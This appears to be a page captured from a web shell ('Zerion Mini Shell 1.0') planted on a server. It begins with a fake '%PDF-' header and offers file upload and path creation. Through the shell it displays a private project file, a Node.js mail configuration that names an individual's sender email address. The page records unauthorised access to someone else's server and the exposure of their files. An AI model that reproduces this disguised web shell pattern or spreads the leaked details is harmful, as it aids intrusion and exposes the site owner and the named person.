%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/workflow/src/config/
Upload File :
Create Path :
Current File : /home/opti/workflow/src/config/mail.js

require('dotenv').config();
var path = require('path');

const Email= require('email-templates');

const nodemailer = require("nodemailer");
let transporter = nodemailer.createTransport({
	host: process.env.MAIL_HOST,
	port: process.env.MAIL_PORT,
	secure: process.env.MAIL_SECURE, // true for 465, false for other ports
	auth: {
		user: process.env.MAIL_USERNAME,
		pass: process.env.MAIL_PASSWORD
	}
});
const email = new Email({
  message: {
    from: 'abdullateef.muibudeen@optisoft.ng'
	},
	views: { root: __dirname },
  // uncomment below to send emails in development/test env:
  send: true,
	transport: transporter,
	views: {
    options: {
      extension: 'ejs' // <---- HERE
    }
	},
	juice: true,
  juiceResources: {
    preserveImportant: true,
    webResources: {
      //
      // this is the relative directory to your CSS/image assets
      // and its default path is `build/`:
      //
      // e.g. if you have the following in the `<head`> of your template:
      // `<link rel="stylesheet" href="style.css" data-inline="data-inline">`
      // then this assumes that the file `build/style.css` exists
      //
      relativeTo: path.resolve(path.join(__dirname, '..', '..', 'public'))
    }
  }
});
// const email = "new"
module.exports = email;

Zerion Mini Shell 1.0